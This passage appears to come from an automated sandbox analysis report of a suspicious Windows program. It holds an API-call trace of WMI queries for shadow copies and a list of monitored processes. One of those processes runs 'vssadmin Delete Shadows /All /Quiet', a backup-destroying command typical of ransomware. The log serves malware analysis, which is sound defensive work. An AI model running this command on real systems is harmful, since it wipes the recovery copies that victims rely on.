dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0097.844] free (_Block=0x1a70258de30) [0097.844] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0097.844] ??0CHString@@QEAA@XZ () returned 0x44bcc7f810 [0097.844] GetCurrentThreadId () returned 0xec4 [0097.845] malloc (_Size=0x18) returned 0x1a70258de10 [0097.845] lstrlenA (lpString="") returned 0 [0097.845] malloc (_Size=0x2) returned 0x1a702585b90 [0097.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff64064c40c, cbMultiByte=-1, lpWideCharStr=0x1a702585b90, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0097.845] free (_Block=0x1a702585b90) [0097.845] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0097.845] SysStringLen (param_1="") returned 0x0 [0097.845] free (_Block=0x1a70258de10) [0097.845] malloc (_Size=0x18) returned 0x1a70258dd30 [0097.845] IWbemServices:ExecQuery (in: This=0x1a7023a61a0, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x44bcc7f820 | out: ppEnum=0x44bcc7f820*=0x0) returned 0x80041014 [0101.055] free (_Block=0x1a70258dd30) [0101.055] _CxxThrowException () [0101.057] malloc (_Size=0x20) returned 0x1a70258ec20 [0101.057] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0101.057] free (_Block=0x1a70258db30) [0101.057] free (_Block=0x1a70258dd50) [0101.057] GetCurrentThreadId () returned 0xec4 [0101.057] ??0CHString@@QEAA@PEBG@Z () returned 0x44bcc7fa08 [0101.057] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x44bcc7fa08 [0101.057] ??0CHString@@QEAA@XZ () returned 0x44bcc7f7b0 [0101.057] malloc (_Size=0x18) returned 0x1a70258d8d0 [0101.057] malloc (_Size=0x18) returned 0x1a70258deb0 [0101.057] SysStringLen (param_1="") returned 0x0 [0101.057] free (_Block=0x1a70258d8d0) [0101.057] CoCreateInstance (in: rclsid=0x7ff6406505a8*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6406505b8*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0x7ff6406678f8 | out: ppv=0x7ff6406678f8*=0x1a70238daa0) returned 0x0 [0101.236] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x1a70238daa0, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x44bcc7f7a8 | out: MessageText=0x44bcc7f7a8*="Initialization failure\r\n") returned 0x0 [0101.238] free (_Block=0x1a70258deb0) [0101.238] malloc (_Size=0x18) returned 0x1a70258deb0 [0101.238] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x1a70238daa0, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x44bcc7f7a0 | out: MessageText=0x44bcc7f7a0*="WMI") returned 0x0 [0101.239] malloc (_Size=0x18) returned 0x1a70258da50 [0101.239] lstrlenW (lpString="WMI") returned 3 [0101.239] lstrlenW (lpString="Wbem") returned 4 [0101.239] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1 [0101.239] lstrlenW (lpString="WMI") returned 3 [0101.239] lstrlenW (lpString="WMI") returned 3 [0101.240] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2 [0101.240] WbemStatusCodeText:IUnknown:Release (This=0x1a70238daa0) returned 0x0 [0101.240] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0101.240] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0x44bcc7f010, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18 [0101.240] FormatMessageW (in: dwFlags=0x2500, lpSource=0x44bcc7f010, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x44bcc7efe0, nSize=0x0, Arguments=0x44bcc7efe8 | out: lpBuffer="ᾰȺƧ") returned 0x2e [0101.240] malloc (_Size=0x18) returned 0x1a70258dc50 [0101.240] LocalFree (hMem=0x1a7023a1fb0) returned 0x0 [0101.240] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0101.240] malloc (_Size=0x2f) returned 0x1a70258a660 [0101.240] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x1a70258a660, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47 [0101.240] __iob_func () returned 0x7ff931acea00 [0101.240] fprintf (in: _File=0x7ff931acea60, _Format="%s" | out: _File=0x7ff931acea60) returned 46 [0102.068] __iob_func () returned 0x7ff931acea00 [0102.068] fflush (in: _File=0x7ff931acea60 | out: _File=0x7ff931acea60) returned 0 [0102.068] free (_Block=0x1a70258a660) [0102.068] free (_Block=0x1a70258dc50) [0102.068] free (_Block=0x1a70258da50) [0102.069] free (_Block=0x1a70258deb0) [0102.069] ??1CHString@@QEAA@XZ () returned 0x1 [0102.069] ??0CHString@@QEAA@PEBG@Z () returned 0x44bcc7f9f0 [0102.069] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x44bcc7f9f0 [0102.069] GetCurrentThreadId () returned 0xec4 [0102.069] ??1CHString@@QEAA@XZ () returned 0x1 [0102.069] WbemLocator:IUnknown:Release (This=0x1a7023a61a0) returned 0x0 [0102.069] ?Empty@CHString@@QEAAXXZ () returned 0x7ff9295f674c [0102.069] free (_Block=0x1a70258ec20) [0102.069] _kbhit () returned 0x0 [0103.262] free (_Block=0x1a70258ec00) [0103.262] free (_Block=0x1a70258dcf0) [0103.262] free (_Block=0x1a70258dc10) [0103.262] free (_Block=0x1a70258d910) [0103.262] free (_Block=0x1a70258db10) [0103.262] free (_Block=0x1a702585fc0) [0103.262] free (_Block=0x1a70258ddd0) [0103.262] free (_Block=0x1a70258a760) [0103.262] free (_Block=0x1a70258dfd0) [0103.262] free (_Block=0x1a70258eb60) [0103.262] free (_Block=0x1a70258dc90) [0103.262] free (_Block=0x1a70258dad0) [0103.262] free (_Block=0x1a70258ebe0) [0103.262] free (_Block=0x1a70258afe0) [0103.262] free (_Block=0x1a70258ebb0) [0103.263] ?Empty@CHString@@QEAAXXZ () returned 0x7ff9295f674c [0103.263] free (_Block=0x1a70258e070) [0103.263] free (_Block=0x1a70258df10) [0103.263] free (_Block=0x1a70258d930) [0103.263] free (_Block=0x1a702585a70) [0103.263] free (_Block=0x1a702585ac0) [0103.263] free (_Block=0x1a702585b10) [0103.263] free (_Block=0x1a70258db70) [0103.263] free (_Block=0x1a702585be0) [0103.263] free (_Block=0x1a702585fa0) [0103.263] free (_Block=0x1a70258a4a0) [0103.263] free (_Block=0x1a702585f80) [0103.263] free (_Block=0x1a70258a820) [0103.263] free (_Block=0x1a702585f20) [0103.263] free (_Block=0x1a702585f40) [0103.263] free (_Block=0x1a702585e00) [0103.263] free (_Block=0x1a702585e20) [0103.263] free (_Block=0x1a702585da0) [0103.263] free (_Block=0x1a702585dc0) [0103.264] free (_Block=0x1a702585e60) [0103.264] free (_Block=0x1a702585e80) [0103.264] free (_Block=0x1a702585ec0) [0103.264] free (_Block=0x1a702585ee0) [0103.264] free (_Block=0x1a702585ce0) [0103.264] free (_Block=0x1a702585d00) [0103.264] free (_Block=0x1a702585c80) [0103.264] free (_Block=0x1a702585ca0) [0103.264] free (_Block=0x1a702585d40) [0103.264] free (_Block=0x1a702585d60) [0103.264] free (_Block=0x1a702585c20) [0103.264] free (_Block=0x1a702585c40) [0103.264] free (_Block=0x1a702585bb0) [0103.264] free (_Block=0x1a702585b60) [0103.264] free (_Block=0x1a70258b440) [0103.264] WbemLocator:IUnknown:Release (This=0x1a70234bb20) returned 0x2 [0103.264] WbemLocator:IUnknown:Release (This=0x1a7023a6110) returned 0x0 [0103.266] WbemLocator:IUnknown:Release (This=0x1a7023a5ed0) returned 0x0 [0103.266] WbemLocator:IUnknown:Release (This=0x1a70234bb20) returned 0x1 [0103.266] ?Empty@CHString@@QEAAXXZ () returned 0x7ff9295f674c [0103.266] WbemLocator:IUnknown:Release (This=0x1a70234bb20) returned 0x0 [0103.266] free (_Block=0x1a70258da10) [0103.266] free (_Block=0x1a70258dbf0) [0103.266] free (_Block=0x1a70258aa60) [0103.266] free (_Block=0x1a70258da30) [0103.266] free (_Block=0x1a70258d8b0) [0103.266] free (_Block=0x1a70258a9e0) [0103.267] free (_Block=0x1a70258b160) [0103.267] free (_Block=0x1a70258b180) [0103.267] free (_Block=0x1a70258ab20) [0103.267] free (_Block=0x1a70258dff0) [0103.267] free (_Block=0x1a70258dcb0) [0103.267] free (_Block=0x1a70258a560) [0103.267] free (_Block=0x1a70258b100) [0103.267] free (_Block=0x1a70258b3a0) [0103.267] free (_Block=0x1a70258a5e0) [0103.267] free (_Block=0x1a70258b120) [0103.267] free (_Block=0x1a70258b3e0) [0103.267] free (_Block=0x1a70258a860) [0103.267] free (_Block=0x1a70258ddb0) [0103.267] free (_Block=0x1a70258de90) [0103.267] free (_Block=0x1a70258ab60) [0103.267] free (_Block=0x1a70258db50) [0103.267] free (_Block=0x1a70258dd90) [0103.267] free (_Block=0x1a70258a7a0) [0103.267] free (_Block=0x1a70258b380) [0103.267] free (_Block=0x1a70258b340) [0103.267] free (_Block=0x1a70258a9a0) [0103.267] free (_Block=0x1a70258b280) [0103.267] free (_Block=0x1a70258b240) [0103.267] free (_Block=0x1a70258a520) [0103.267] free (_Block=0x1a70258e010) [0103.267] free (_Block=0x1a70258d9f0) [0103.267] free (_Block=0x1a70258aae0) [0103.268] free (_Block=0x1a70258e030) [0103.268] free (_Block=0x1a70258ddf0) [0103.268] free (_Block=0x1a70258a5a0) [0103.268] free (_Block=0x1a70258b1e0) [0103.268] free (_Block=0x1a70258b2e0) [0103.268] free (_Block=0x1a70258aaa0) [0103.268] free (_Block=0x1a70258b360) [0103.268] free (_Block=0x1a70258b0a0) [0103.268] free (_Block=0x1a70258a8e0) [0103.268] free (_Block=0x1a70258b260) [0103.268] free (_Block=0x1a70258b080) [0103.268] free (_Block=0x1a70258a420) [0103.268] free (_Block=0x1a70258b140) [0103.268] free (_Block=0x1a70258b1c0) [0103.268] free (_Block=0x1a70258a8a0) [0103.268] free (_Block=0x1a70258b300) [0103.268] free (_Block=0x1a70258b320) [0103.268] free (_Block=0x1a70258a7e0) [0103.268] free (_Block=0x1a70258b2c0) [0103.268] free (_Block=0x1a70258b1a0) [0103.268] free (_Block=0x1a70258a460) [0103.268] free (_Block=0x1a70258b400) [0103.268] free (_Block=0x1a70258b3c0) [0103.268] free (_Block=0x1a70258a4e0) [0103.268] free (_Block=0x1a70258b0c0) [0103.268] free (_Block=0x1a70258b0e0) [0103.268] free (_Block=0x1a70258a960) [0103.269] free (_Block=0x1a70258b200) [0103.269] free (_Block=0x1a70258b220) [0103.269] free (_Block=0x1a70258a920) [0103.269] CoUninitialize () [0107.075] exit (_Code=-2147217388) [0107.077] free (_Block=0x1a70258a620) [0107.077] free (_Block=0x1a702586c10) [0107.077] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0107.077] free (_Block=0x1a70258b4d0) [0107.077] free (_Block=0x1a702585c00) [0107.077] free (_Block=0x1a702586bd0) [0107.077] free (_Block=0x1a702581750) [0107.077] free (_Block=0x1a702581700) [0107.077] free (_Block=0x1a7025816c0) [0107.077] free (_Block=0x1a702581660) [0107.077] free (_Block=0x1a7025815e0) [0107.077] free (_Block=0x1a7025815a0) [0107.077] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0107.077] free (_Block=0x1a70258def0) Thread: id = 151 os_tid = 0xd44 Thread: id = 156 os_tid = 0xb64 Thread: id = 157 os_tid = 0x6cc Thread: id = 158 os_tid = 0xaf0 Process: id = "10" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0xb73000" os_pid = "0xee8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x270" cmd_line = "vssadmin Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 149 os_tid = 0xfbc Thread: id = 152 os_tid = 0x9e0 Thread: id = 160 os_tid = 0xc9c Thread: id = 161 os_tid = 0xce0 Thread: id = 162 os_tid = 0xf74 Process: id = "11" image_name = "taskhostw.exe" filename = "c:\\windows\\system32\\taskhostw.exe" page_root = "0xd4a8000" os_pid = "0xd0c" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x3c0" cmd_line = "taskhostw.exe -RegisterDevice -SettingChange -Full" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xe], "NT SERVICE\\wlidsvc" [0xe], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xe], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 159 os_tid = 0x47c Thread: id = 179 os_tid = 0x838 Thread: id = 202 os_tid = 0xfac Thread: id = 215 os_tid = 0xe98 Thread: id = 218 os_tid = 0xec4 Thread: id = 219 os_tid = 0x824 Thread: id = 220 os_tid = 0x8e8 Process: id = "12" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x50daa000" os_pid = "0xe04" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0002f35f" [0xc000000f] Thread: id = 165 os_tid = 0x408 Thread: id = 166 os_tid = 0xecc Thread: id = 167 os_tid = 0xe30 Thread: id = 168 os_tid = 0xe2c Thread: id = 169 os_tid = 0xe28 Thread: id = 170 os_tid = 0xe24 Thread: id = 171 os_tid = 0xe20 Thread: id = 172 os_tid = 0xe1c Thread: id = 173 os_tid = 0xe18 Thread: id = 174 os_tid = 0xe14 Thread: id = 175 os_tid = 0xe08 Process: id = "13" image_name = "trustedinstaller.exe" filename = "c:\\windows\\servicing\\trustedinstaller.exe" page_root = "0x58db0000" os_pid = "0x470" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\TrustedInstaller" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006a986" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 181 os_tid = 0xc14 Thread: id = 182 os_tid = 0xfe8 Thread: id = 183 os_tid = 0xfec Thread: id = 184 os_tid = 0x9c0 Thread: id = 185 os_tid = 0x39c Thread: id = 186 os_tid = 0x37c Thread: id = 187 os_tid = 0xbfc Thread: id = 188 os_tid = 0xd08 Thread: id = 191 os_tid = 0xf60 Process: id = "14" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x15735000" os_pid = "0xee8" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xe], "NT SERVICE\\wlidsvc" [0xe], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xe], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 197 os_tid = 0xe60 Thread: id = 198 os_tid = 0x8ac Thread: id = 206 os_tid = 0x4b8 Thread: id = 208 os_tid = 0xc48 Thread: id = 210 os_tid = 0xd80 Thread: id = 211 os_tid = 0x390 Thread: id = 212 os_tid = 0xd44 Thread: id = 213 os_tid = 0xd38 Thread: id = 214 os_tid = 0xb64 Process: id = "15" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x19fc1000" os_pid = "0x9e8" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x3c0" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xe], "NT SERVICE\\wlidsvc" [0xe], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xe], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 221 os_tid = 0x2e8 Thread: id = 222 os_tid = 0x468 Thread: id = 223 os_tid = 0xea8 Thread: id = 224 os_tid = 0x8f0 Thread: id = 225 os_tid = 0x9fc Thread: id = 226 os_tid = 0xec0